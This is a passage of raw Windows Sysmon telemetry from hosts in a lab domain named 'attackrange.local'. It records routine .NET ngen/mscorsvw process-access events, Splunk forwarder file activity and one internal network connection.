.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.445{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CCA6920BCC308FFFB3F591CEC693E586,SHA256=1DFABF0CFFF5448AA1CCD214668F6D8F44571E9DBA1438CE9A708015A5492BCD,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014014Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:29.515{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50129-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014013Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:30.201{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EB335F20E7814A1186976C97B1ACEB0E,SHA256=3A87314DAC86408E9F6E8FFE5171715826F83784499878500F48D4A181E51E61,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9DC0E3C1DDF05FF1937FD9F1CFD07B36,SHA256=1B1041FD6035D413FE501216EEF7FFAD98F7378535D71D090BF6E46B7EEC843A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.383{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-CA0A-00000000F001}6428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.367{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-CA0A-00000000F001}6428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.367{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-CA0A-00000000F001}6428C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.352{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-C90A-00000000F001}2380C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.336{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-C90A-00000000F001}2380C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.336{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-C90A-00000000F001}2380C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.274{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-C80A-00000000F001}5340C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.258{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-C80A-00000000F001}5340C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.258{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-C80A-00000000F001}5340C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.196{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-C70A-00000000F001}3628C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.180{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-C70A-00000000F001}3628C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.180{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-C70A-00000000F001}3628C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.102{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-C60A-00000000F001}6924C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.102{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-C60A-00000000F001}6924C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.102{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-C60A-00000000F001}6924C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.039{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-C50A-00000000F001}3840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.039{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-C50A-00000000F001}3840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.039{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-C50A-00000000F001}3840C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.961{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=DE10620FE9B70E0A0AA2ACC9ABA6F415,SHA256=F25A80402C75C52EB83043516C630F9261022D35AF55F3F5175D6DDCBEA8A7A2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.945{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8B-613B-E00A-00000000F001}1576C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.898{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F8B-613B-E00A-00000000F001}1576C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:31.898{7BD73061-6D0E-613B-8A06-00000000F001}32686404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+15171|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1e1d|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+1f63|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+61faf|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\system32\Windows.Internal.Shell.Broker.dll+c751 10341000x800000000000000045884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 